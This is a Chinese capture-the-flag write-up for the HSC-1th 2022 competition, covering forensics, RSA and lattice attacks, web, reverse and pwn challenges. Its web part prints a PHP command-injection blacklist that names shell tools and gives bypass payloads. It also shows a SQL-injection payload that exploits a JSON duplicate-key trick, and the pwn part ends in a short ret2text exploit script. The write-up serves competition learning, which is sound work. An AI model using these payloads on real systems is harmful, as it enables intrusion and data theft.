HSC-1th 2022 Writeup

本届HSC1th 2022是由社会战队红客突击队(Honker Security Commando)举办。 本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖web,crypto,misc,re等主流方向,并面向全球开放。比赛三甲可获突击队周边礼品。

Rank: 2


MISC

Sign-in

前往红客突击队公众号发送“HSC2019”并签到吧!

公众号签到。

flag{HSC_W3LC0M3}

DORAEMON

zip压缩包注释 哆啦A梦把泡好的QR放进口袋后,用六位数字把自己放好了。你能找到它吗?,爆破得到密码 376852

得到png图片用16进制修改器修改高度,得到缺少两个定位图案的二维码;

修复上方两个定位图案,扫描得flag:flag{sing1emak3r10v3m!sc}

汝闻,人言否

png文件后存在zip压缩包,提取后在16进制查看器下修复压缩包,将两处 4B 50 修改为 50 4B

发现zip压缩包加密,注释 qazsedcftrfvgycft6yhntgbnytfvbhyik,.;p 为键盘密码,在键盘上画出六个字母 WVALOU 为解压密码,得到 flag 文件,16进制查看发现为wav文件结构;

使用audacity查看wav文件,在频谱图发现flag:flag:e5353bb7b57578bd4da1c898a8e2d767

PERFORMANCE-ART

两种图形替换密码的混合,其中一种为标准银河字母(Standard Galactic Alphabet),猜测另一种代表数字,根据形状和出现概率,猜测出前几位 504B0304140000000,为zip压缩包文件头。

依次还原所有字符:

504b03041400000008004a7e7253148e1e
1e160000001400000006000000756e6b6e6
f778bcaadc888322ec9f30b752df70c
cfae8cca72b30400504b01021f0014000
00008004a7e7253148e1e1e16000000140
000000600240000000000000020000000000
00000756e6b6e6f770a002000000000000
1001800778284ef50dcd7016b04efef5
0dcd701e1b0ef144fdcd701504b05060
000000001000100580000003a0000000000

保存为zip文件,打开得到内容 ZmxhZ3tnNUEwIWkyZjF9,base64解码得flag:flag{g5A0!i2f1}

WIRESHARK

zip压缩包后存在png图片,提取后使用zsteg查看LSB隐写,在 b1,rgb,lsb,xy 通道隐写了一张png图片,提取:

zsteg -E "b1,rgb,lsb,xy" Untitled1.png > out.png

是一张二维码,扫描得到内容 wrsak..iehr370,栅栏解密 wireshark3.7.0

解压最开始的zip压缩包得到 wireshark,16进制查看发现为pdf文件结构,文件头被修改过,还原为 %PDF25 50 44 46)正常打开,内容无有用信息,猜想为PDF隐写;

使用wbStego工具从pdf文件成功提取出flag:flag{Go0dJ0B_y0ufIndLt}

PCXP

百度网盘https://pan.baidu.com/s/12q5ULEp_RD62MwbV5eE11A 提取码:1qih

奶牛快传https://cowtransfer.com/s/b76470ddc9e04a

蓝奏云https://wwo.lanzouy.com/b030r1x4j 密码:cvi0

本题目文件PCXP1与PCXP2均需要下载!

本题文件中flag{raw_Imfig3_mLs3}属于干扰项

两个dump内存的raw文件,用volatility分析。

其中一个发现 ffflaaagggg.rar 文件:

0x000000000227db70 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\ffflaaagggg.rar

根据提示,另一个发现 mirror.rar 文件:

0x00000000021221e0 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\mirror.rar

分别dumpfiles,按注释key:mirror 解压 mirror.rar,提取 mirror.png,发现后半部分有反转的png,reverse处理得到png内有密码 HSC-1th202248H

用密码解压 ffflaaagggg.rar,得到 secret.pcap,用tshark提取USB流量无结果;

查看16进制发现存在PNG文件头,用foremost提取出两张png图片,画面相同大小不同,猜测为盲水印隐写;

使用BlindWaterMark工具提取:

python3 bwmforpy3.py decode 00000030.png 00000094.png out.png

得到flag:flag{Wat3rMarkPtysc}
在这里插入图片描述

CRYPTO

Easy SignIn

5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4E524564565646644D515670455130354C5755644F5231685256314A5452315A5552304E57576C5A49525430395054303950513D3D

ciphey一把梭,flag:flag{welc0me_to_my_s1gn_in}

AFFINE

flag{md5(result)}

# -*- coding: utf-8 -*-
import string
import hashlib

letter=string.ascii_letters+string.digits

def encrypt(m, c, a, b):
 for i in range(len(m)):
     ch=m[i]
     t=(letter.index(ch) * a + b) % 62
     c.append(letter[t])
 d = ''.join(c)
 print(d)

m = 
c = []
a = 
b = 

assert ("flag" in m)

print("加密后的密文为:")
Cipher = encrypt(m, c, a, b)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
#print(flag)
"""
加密后的密文为:
xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv
"""

仿射密码加密,先根据密文和明文,爆破各位置存在 flag 字符串情况下对应的 a,b 值,再解密整串密文。

爆破求 a,b

import string
import hashlib

letter=string.ascii_letters+string.digits

def encrypt(m, a, b):
    c = []
    for i in range(len(m)):
        ch=m[i]
        t=(letter.index(ch) * a + b) % 62
        c.append(letter[t])
    d = ''.join(c)
    return d

s='xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'
for a in range(50):
    for b in range(50):
        Cipher = encrypt('flag', a, b)
        for k in range(len(s)-3):
            if Cipher==s[k:k+4]:
                print(Cipher,a,b)
# korv 11 17

解密:

a=11
b=17

def decrypt(m, a, b):
    import gmpy2
    c = []
    for i in range(len(m)):
        ch=m[i]
        t=((letter.index(ch) - b) * gmpy2.invert(a,62)) % 62
        c.append(letter[t])
    d = ''.join(c)
    return d

m=decrypt(s, a, b)
print(m)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
print(flag)
# Oh62Affine1sSti1lN0tSecureEnoughToProtectflag
# 2b9b99caae1cc49e5b5aacbc8cc22350

flag:flag{2b9b99caae1cc49e5b5aacbc8cc22350}

LINE-GENERATION-TEST

“Sorry, Tazmi, I can’t hold you in my arms anymore” Who said that? flag{md5(result)}

在这里插入图片描述

根据 enc 结果,猜测为 m o d    26 \mod 26 mod26 下的矩阵运算,值对应字母序,简单用z3解:

from z3 import *

f=[Int(f'f{i}') for i in range(5)]
out=[9,23,0,13,19]

ss=Solver()

ss.add((f[0]+f[1])%26==out[0])
ss.add((f[1]+f[4])%26==out[1])
ss.add((f[2]+f[3]+f[4])%26==out[2])
ss.add((f[1]+f[2]+f[3])%26==out[3])
ss.add((f[3])%26==out[4])

for i in range(5):
    ss.add(f[i]>=0)
    ss.add(f[i]<26)

ss.check()
m=ss.model()
print(m)
res=''
for i in range(5):
    res+=chr(m[f[i]].as_long()+ord('A'))

print(res)
# RSCTF

MD5,得flag:flag{e4163deba70420c58acb87abcab34141}

LATTICE

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
from gmpy2 import *

flag = b'flag{******}'.strip(b'flag{').strip(b'}')
_length = len(flag)
f1, f2, f3 = [flag[_*_length//3:(_+1)*_length//3] for _ in range(3)]

e = 0x10001

# part1
m1 = bytes_to_long(f1)
p1 = getPrime(1024)
q1 = getPrime(1024)
n1 = p1 * q1
phi1 = n1 - p1 - q1 + 1
c1 = pow(m1, e, n1)
e1 = invert(getPrime(730), phi1)
e2 = invert(getPrime(730), phi1)
print(f"c1={c1}")
print(f"n1={n1}")
print(f"e1, e2={e1}, {e2}")
# c1=...
# n1=...
# e1, e2=...

# part2
m2 = bytes_to_long(f2)
p2 = getPrime(1024)
q2 = getPrime(1024)
n2 = p2 * q2
phi2 = n2 - p2 - q2 + 1
c2 = pow(m2, e, n2)
e1 = invert(getPrime(818), phi2)
e2 = invert(getPrime(818), phi2)
e3 = invert(getPrime(818), phi2)
print(f"c2={c2}")
print(f"n2={n2}")
print(f"e1, e2, e3={e1}, {e2}, {e3}")
# c2=...
# n2=...
# e1, e2, e3=...

# part3
m3 = bytes_to_long(f3)
nl = []
cl = []
el = []
d = getPrime(890)
for _ in range(7):
 p3 = getPrime(1024)
 q3 = getPrime(1024)
 n3 = p3 * q3
 phi3 = n3 - p3 - q3 + 1
 e3 = invert(d, phi3)
 c3 = pow(m3, e3, n3)
 nl.append(n3)
 el.append(int(e3))
 cl.append(int(c3))
print(f"nl={nl}")
print(f"el={el}")
print(f"cl={cl}")
# nl=[...]
# el=[...]
# cl=[...]

RSA的两种涉及格的LLL算法的攻击情形(多组低解密指数攻击+共私钥指数攻击)。

Part1,2组 e e e 的低解密指数攻击:

# Sage
import gmpy2
N = 
e1 = 
e2 = 
c = 
for i in range(1000):
    alpha2 = i/1000
    M1 = int(gmpy2.mpz(N)**0.5)
    M2 = int( gmpy2.mpz(N)**(1+alpha2) )
    D = diagonal_matrix(ZZ, [N, M1, M2, 1])
    B = Matrix(ZZ, [ [1, -N,   0,  N**2],
                 [0, e1, -e1, -e1*N],
                 [0,  0,  e2, -e2*N],
                 [0,  0,   0, e1*e2] ]) * D
    L = B.LLL()
    v = Matrix(ZZ, L[0])
    x = v * B**(-1)
    phi = (x[0,1]/x[0,0]*e1).floor()
    try:
        d = inverse_mod(65537, phi)
        m = bytes.fromhex(hex(power_mod(c, d, N))[2:])
        if len(m)<20:
            print(m)
            break
    except:
        pass
# b'89c63fd5-00c'

Part2,3组 e e e 的低解密指数攻击:

# Sage
import gmpy2
N = 
e1 = 
e2 = 
e3 = 
c = 
for i in range(1000):
    alpha2 = i/1000
    M1 = int(gmpy2.mpz(N)**(3./2))
    M2 = int( gmpy2.mpz(N) )
    M3 = int(gmpy2.mpz(N)**(3./2 + alpha2))
    M4 = int( gmpy2.mpz(N)**(0.5) )
    M5 = int( gmpy2.mpz(N)**(3./2 + alpha2) )
    M6 = int( gmpy2.mpz(N)**(1.+alpha2) )
    M7 = int( gmpy2.mpz(N)**(1.+alpha2) )
    D = diagonal_matrix(ZZ, [M1, M2, M3, M4, M5, M6, M7, 1])
    B = Matrix(ZZ, [ [1, -N,   0,  N**2,   0,      0,      0,    -N**3],
                 [0, e1, -e1, -e1*N, -e1,      0,   e1*N,  e1*N**2],
                 [0,  0,  e2, -e2*N,   0,   e2*N,      0,  e2*N**2],
                 [0,  0,   0, e1*e2,   0, -e1*e2, -e1*e2, -e1*e2*N],
                 [0,  0,   0,     0,  e3,  -e3*N,  -e3*N,  e3*N**2],
                 [0,  0,   0,     0,   0,  e1*e3,      0, -e1*e3*N],
                 [0,  0,   0,     0,   0,      0,  e2*e3, -e2*e3*N],
                 [0,  0,   0,     0,   0,      0,      0, e1*e2*e3] ]) * D
    L = B.LLL()
    v = Matrix(ZZ, L[0])
    x = v * B**(-1)
    phi_ = (e1*x[0,1]/x[0,0]).floor()
    try:
        d = inverse_mod(65537, phi_)
        m = hex(power_mod(c, d, N))[2:]
        m = bytes.fromhex(hex(power_mod(c, d, N))[2:])
        if len(m)<20:
            print(m)
            break
    except:
        pass
# b'f-4ae0-b369-' 

Part3,共私钥指数 d d d 攻击:

from gmpy2 import *
nl=[...]
el=[...]
cl=[...]
ind=[]
nl_s=sorted(nl)
for i in range(7):
    ind.append(nl.index(nl_s[i]))
print(ind)
e=[]
n=[]
c=[]
for i in range(7):
    e.append(el[ind[i]])
    n.append(nl[ind[i]])
    c.append(cl[ind[i]])

M=iroot(int(n[6]),int(2))[0]
a=[0]*8
a[0]=[M,e[0],e[1],e[2],e[3],e[4],e[5],e[6]]
a[1]=[0,-n[0],0,0,0,0,0,0]
a[2]=[0,0,-n[1],0,0,0,0,0]
a[3]=[0,0,0,-n[2],0,0,0,0]
a[4]=[0,0,0,0,-n[3],0,0,0]
a[5]=[0,0,0,0,0,-n[4],0,0]
a[6]=[0,0,0,0,0,0,-n[5],0]
a[7]=[0,0,0,0,0,0,0,-n[6]]

Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
d = abs(Mat_LLL[0][0])//M
print(d)
print(bytes.fromhex(hex(pow(c[6],int(d),int(n[6])))[2:]))
# b'5a3d94a20a2c'

连接得flag:flag{89c63fd5-00cf-4ae0-b369-5a3d94a20a2c}

RSA

flag{md5(result)}

import gmpy2
import sympy
from Crypto.Util.number import *

flag = b'????'

z=getPrime(1024)
p=sympy.nextprime(z)
q=sympy.prevprime(10*z)
n=p*q

m=bytes_to_long(flag)
e=0xe18e
c=pow(m,e,n)

print("n=",n)
print("c=",c)

#n= ...
#c= ...

费马分解RSA,发现 gcd ⁡ ( e , φ ( n ) ) = 2 \gcd(e,\varphi(n))=2 gcd(e,φ(n))=2,令 e ′ = e 2 , m ′ = m 2 e'=\frac{e}{2},m'=m^2 e=2e,m=m2

先求出 m ′ m' m,再利用Rabin算法求 m m m

n = 
c = 
e = 0xe18e
import gmpy2
p = gmpy2.iroot(n//10,2)[0]
while 1:
    p = gmpy2.next_prime(p)
    if n%p==0:
        break
q = n//p
f = (p-1)*(q-1)
d = gmpy2.invert(e//2,f)
mm = pow(c,d,n)
print(mm)

def rabin_decrypt(c, p, q, e=2):
	n = p * q
	mp = pow(c, (p + 1) // 4, p)
	mq = pow(c, (q + 1) // 4, q)
	yp = gmpy2.invert(p, q)
	yq = gmpy2.invert(q, p)
	r = (yp * p * mq + yq * q * mp) % n
	rr = n - r
	s = (yp * p * mq - yq * q * mp) % n
	ss = n - s
	return (r, rr, s, ss)
 
m = rabin_decrypt(mm,p,q)
for i in range(4):
	try:
		print(bytes.fromhex(hex(m[i])[2:]))
	except:
		pass
# b'flag{6d22773623d3d5c871692e9985de5f16}'

BABY-RSA

from Crypto.Util.number import *


def lfsr(status,mask):
 out = (status << 1) & 0xffffffff
 i=(status&mask)&0xffffffff
 lastbit=0
 while i!=0:
     lastbit^=(i&1)
     i=i>>1
 out^=lastbit 
 return (out,lastbit)

status= 1
mask = 0b10110001110010011100100010110101

num = bytes_to_long(m)

p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537

hp = bin(p)[2:]
c = pow(num, e, n)

print("n=",n)
print("c=",c)

f=open("key","w+",encoding='utf-8')
for i in range(568):
 curnum = int(hp[i])
 (status,out)=lfsr(status,mask)
 f.write(str(curnum ^ out))
f.close()

'''
n= ...
c= ...
'''
'''
key:
0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010
'''

RSA p p p 高位泄露攻击+LFSR。

先用LFSR结果异或还原 p p p 高位 h p hp hp

def lfsr(status,mask):
    out = (status << 1) & 0xffffffff
    i=(status&mask)&0xffffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    out^=lastbit 
    return (out,lastbit)

status= 1
mask = 0b10110001110010011100100010110101

c = list('0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010')
c=[int(k) for k in c]

hp = ''
for i in range(568):
	(status,out) = lfsr(status,mask)
	hp += str(c[i]^out)

hp = int(hp, 2)
print(hp)
# 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112

此时 h p hp hp 有568位,根据Coppersmith定理,1024位的 p p p 至少需要高576位才能恢复完整 p p p,需爆破8位二进制位:

# Sage
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
hp = 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112

import string
dic = string.digits + "abcdef"

for a in dic:
    for b in dic:
        pp = hex(hp) + a + b
        #p需要用0补全到1024位
        pp += '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
        #要加的数字与补全p时0的个数有关
        pp = int(pp, 16)
        p_fake = pp+0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
        pbits = 1024
        kbits = pbits-576
        pbar = p_fake & (2^pbits-2^kbits)
        #print("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))
        PR.<x> = PolynomialRing(Zmod(n))
        f = x + pbar
        try:
            x0 = f.small_roots(X=2^kbits, beta=0.4)[0]  # find root < 2^kbits with factor >= n^0.4
            print(x0 + pbar)
        except:
            pass        
# 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477

最后常规RSA:

p = 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
c = 3641304537029815746727163894554557322382012539953948183406308231174259571263608621970973671202001456955622458371303424750815017578104069924877881162707673935496925529412748663209884628320657034190702348924814794263041483260377960569530869386619921425415323912964305979776909598200202236912823968867485696101691879580799000240715778010424877093758489309380968229017074542588151574195295436881889313935734282141447498134543053106463951864974512375314091440713165047188590693431938599822340588934591712592995622334522799914563528630705687647950894928965913199772209825508001274120556508220248069647851360567609656517789
q = n//p
e = 0x10001
import gmpy2
f = (p-1)*(q-1)
d = gmpy2.invert(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
# b'flag{fbbce1e3aa690ebb49039241f940ed26}'

WEB

CLICK

查看源码,找到 main.js,发现 ZmxhZ3thNTNlMTgzOC01OTczLTRlY2MtOWFjMC00ODZlOTA0NThhMTl9Cg==,base64解码得flag。

Web-sign in

提示robots协议,访问 robots.txt,发现存在 fiag_ls_h3re.php

访问发现右键被禁用,加前缀 view-source: 查看源码得flag。

EXEC

<?php
error_reporting(0);
if(isset($_REQUEST["cmd"])){
 $shell = $_REQUEST["cmd"];
 $shell = str_ireplace(" ","",$shell);
 $shell = str_ireplace("\n","",$shell);
 $shell = str_ireplace("\t","",$shell);
 $shell = str_ireplace("?","",$shell);
 $shell = str_ireplace("*","",$shell);
 $shell = str_ireplace("<","",$shell);
 $shell = str_ireplace("system","",$shell);
 $shell = str_ireplace("passthru","",$shell);
 $shell = str_ireplace("ob_start","",$shell);
 $shell = str_ireplace("getenv","",$shell);
 $shell = str_ireplace("putenv","",$shell);
 $shell = str_ireplace("mail","",$shell);
 $shell = str_ireplace("error_log","",$shell);
 $shell = str_ireplace("`","",$shell);
 $shell = str_ireplace("exec","",$shell);
 $shell = str_ireplace("shell_exec","",$shell);
 $shell = str_ireplace("echo","",$shell);
 $shell = str_ireplace("cat","",$shell);
 $shell = str_ireplace("ls","",$shell);
 $shell = str_ireplace("nl","",$shell);
 $shell = str_ireplace("tac","",$shell);
 $shell = str_ireplace("bash","",$shell);
 $shell = str_ireplace("sh","",$shell);
 $shell = str_ireplace("tcp","",$shell);
 $shell = str_ireplace("base64","",$shell);
 $shell = str_ireplace("flag","",$shell);
 $shell = str_ireplace("cp","",$shell);
 exec($shell);
}else{
 highlight_file(__FILE__);
}

带黑名单的无回显RCE,可以重定向写命令执行结果到文件,关键字可双写绕过,空格用$IFS绕过。

列目录:?cmd=llss$IFS/>1.txt,得到根目录flag文件名 ctf_is_fun_flag2021

读文件:?cmd=uniq$IFS/ctf_is_fun_flflagag2021>1.txt,得到flag。

Language

源码里有python和go两个文件夹,有两个服务,端口8000是python开的,映射到对外端口;内网端口5000是go服务。python代码相当于中转站接受外网请求,处理后转发给go,go进行底层处理。

go服务中关键代码 backend.go

package controller

import (
	db "ctf/database"
	"encoding/json"
	"fmt"
	"github.com/buger/jsonparser"
	"io/ioutil"
	"net/http"
)

type Language struct {
	Id  int32  `json:"id"`
	Name string `json:"name"`
	Votes int64 `json:"votes"`
}


func Index(w http.ResponseWriter, _ *http.Request) {
	ok(w, "Hello World!")
}

func List(w http.ResponseWriter, _ *http.Request) {

	rows, err := db.Sqlite.Query("SELECT * FROM languages;")
	if err != nil {
		fail(w, "Something wrong")
		fmt.Println(err.Error())
		return
	}
	defer rows.Close()

	res := make([]Language, 0)
	for rows.Next() {
		var pl Language
		_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
		res = append(res, pl)
	}
	err = json.NewEncoder(w).Encode(res)
}

func Search(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)

	votes, err := jsonparser.GetInt(reqBody, "votes")
	if err != nil {
		fail(w, "Error reading votes")
		return
	}
	name, err := jsonparser.GetString(reqBody, "name")
	if err != nil {
		fail(w, "Error reading name")
		return
	}

	query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
	rows, err := db.Sqlite.Query(query)
	if err != nil {
		fail(w, "Something wrong")
		fmt.Println(err.Error())
		return
	}
	res := make([]Language, 0)
	for rows.Next() {
		var pl Language
		_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
		res = append(res, pl)
	}
	err = json.NewEncoder(w).Encode(res)
}


func Flag(w http.ResponseWriter, r *http.Request ) {
	action:= r.URL.Query().Get("action")
	if action == "" {
		fail(w, "Error getting action")
		return
	}

	token:= r.URL.Query().Get("token")
	if token == "" {
		fail(w, "Error getting token")
		return
	}

	var secret string
	row := db.Sqlite.QueryRow("SELECT secret FROM token;")
	if err := row.Scan(&secret); err != nil {
		fail(w, "Error querying secret token")
		return
	}

	if action == "readFlag" && secret == token {
		data, err := ioutil.ReadFile("flag")
		if err != nil {
			fail(w, "Error reading flag")
			return
		}
		ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
		return
	}
	ok(w, "Wrong token")
}

路由 /flag 中GET两个参数 ?action=readFlag&token=xxxxx,token正确得flag,而路由 /search 中容易通过SQL注入拿到token。

python服务中 app.py

from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requests

app = Flask(__name__)

server = '127.0.0.1:8000'


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")


@app.route("/list", methods=["POST"])
def listAll():
    r = requests.post(f"http://{server}/api/list")
    return jsonify(r.json())


@app.route("/search", methods=["GET", "POST"])
def search():
    if request.method == "GET":
        return render_template("search.html")
    else:
        data = request.json
        if data['name']:
            if not isinstance(data['name'], str) or not data['name'].isalnum():
                return jsonify({"error": "Bad word detected"})
        if data['votes']:
            if not isinstance(data['votes'], int):
                return jsonify({"error": "Bad word detected"})
        r = requests.post(f"http://{server}/api/search", data=request.data)
        return jsonify(r.json())


@app.route("/healthcheck", methods=["GET"])
def healthCheck():
    getPath = ["", "flag"]
    postPath = ["api/list", "api/search"]
    try:
        for path in getPath:
            requests.get(f"http://{server}/{path}")
        for path in postPath:
            requests.post(f"http://{server}/{path}")
    except:
        return "Down"
    return "OK"


@app.route("/<path:path>", methods=["GET"])
def handle(path):
    if 'flag' in unquote(path):
        action = request.args.get('action')
        token = request.args.get('token')
        print(action)
        if action == "readFlag":
            return jsonify({"error": "Sorry, readFlag is not permitted"})
        r = requests.get(f"http://{server}/{path}", params={
            "action": action,
            "token": token
        })
    else:
        r = requests.get(f"http://{server}/{path}")
    return jsonify(r.text)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

发现其中存在两个点需要绕过:

  1. 路由 /search 中JSON严格过滤,name 的值必须满足 isalnum()votes 的值必须为数字,避免SQL注入情况;
  2. 检测url里使用GET方法传入 action=readFlag 会直接拒绝。

对于第1点,尝试构造含两个 name 参数的JSON,在python中认JSON中第二个 name,而go中认JSON中第一个 name,利用这种差异构造:{"votes":1,"name":"-1' union select 1,secret,3 from token --+","name":[]},绕过得到token值,得到 re@l1y_4th_T0k3n

对于第2点,利用 @app.route("/<path:path>") 特性,对 ? 进行url编码可以在python层面绕过GET参数识别,即 action = request.args.get('action') 不会获取到内容,payload:/flag%3faction=readFlag&token=re@l1y_4th_T0k3n

得到flag:"{\"msg\":\"Congrats this is your flag: flag{73c468d2-582e-4fdf-8be9-72efe6cbb9a2}\\n\"}\n"

REVERSE

hiahia o(*^▽^*)┛

IDA查看伪码,无逆向,照着实现就行:

s=list(b'igdb~Mumu@p&>%;%<$<p')

def flag(c,k):
    if k>9:
        if k&1==0:
            return c-11
        else:
            return c+13
    else:
        if k&1==0:
            return c-3
        else:
            return c+5
t=''
for i in range(len(s)):
    t+=chr(flag(s[i],i))
print(t)
# flag{RrrrEe33202111}

ANDROID

jadx查看MainActivity主逻辑:

public void onClick(View view) {
	String trim = this.input.getText().toString().trim();
	int[] iArr = {102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42};
	int[] iArr2 = {42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42};
	if (trim.length() != 18) {
		this.input.setText("FLAG错误");
		return;
	}
	char[] charArray = trim.toCharArray();
	for (int i = 0; i < 17; i++) {
		iArr2[i] = i % 2 == 0 ? charArray[i] ^ i : charArray[i] ^ charArray[i + 1];
	}
	String str = "";
	for (int i2 = 0; i2 < 18; i2++) {
		str = str.concat(Integer.toHexString(iArr2[i2])).concat(",");
	}
	System.out.println(str);
	for (int i3 = 0; i3 < 18; i3++) {
		if (iArr2[i3] != iArr[i3]) {
			this.input.setText("FLAG错误!");
			return;
		}
	}
	this.input.setText("FLAG正确");
}

用z3解:

from z3 import *

flag=[BitVec(f'flag{i}',7) for i in range(18)]
out=[102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]

s=[42]*19
ss=Solver()

for i in range(17):
    if i%2==0:
        s[i]=flag[i]^i
    else:
        s[i]=flag[i]^flag[i+1]

for i in range(18):
    ss.add(s[i]==out[i])

ss.check()
m=ss.model()
res=''
for i in range(17):
    res+=(chr(m[flag[i]].as_long()))

print(res)
# flag{Reverse__APP

加花括号闭合,得到flag:flag{Reverse__APP}

WAY

flag{md5(result)}

检测带upx壳,脱壳后IDA查看伪码,迷宫题,wsad代表上下左右,提取迷宫数组得:

OIIII
OOIO#
IOOOI
IOIOI
IIIII

容易得到路径:sdsddwd,MD5得到flag:flag{6654b3343f6f3f6223a721e7f65e87f8}

SPARK

Sparc架构,IDA无法反编译为伪码,用Ghidra得到伪码主逻辑:

undefined8 main(void)

{
  longlong unaff_g7;
  int local_res7d3;
  undefined8 local_res7d7;
  undefined8 local_res7df;
  undefined8 local_res7e7;
  undefined8 local_res7ef;
  longlong local_res7f7;
  
  local_res7f7 = *(longlong *)(unaff_g7 + 0x28);
  local_res7d7 = 0;
  local_res7df = 0;
  local_res7e7 = 0x37463f3044413243;
  local_res7ef = 0x3429000000000000;
  puts("input_sparkle_flag_here:\n");
  read(0,&local_res7d7,0xc);
  local_res7d3 = 0;
  do {
    if (9 < local_res7d3) {
      puts("good_job!");
LAB_001008a0:
      if (local_res7f7 == *(longlong *)(unaff_g7 + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    *(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) =
         *(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) + -0x2f;
    if (*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) !=
        *(char *)((longlong)&local_res7e7 + (longlong)local_res7d3)) {
      puts("incorrect\n");
      goto LAB_001008a0;
    }
    local_res7d3 = local_res7d3 + 1;
  } while( true );
}

逻辑为输入flag值逐字符 -0x2f 得到的字符串与 0x37463f30444132433429 相等,即ROT47。

简单还原得flag:flag{fun_sparcX}

PWN

Ez_pwn

简单ret2text:

from pwn import *
r = remote('hsc2019.site',10891)
r.recvline()
pl = 'a'*0x48 + p64(0x400741)
r.sendline(pl)
r.interactive()
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值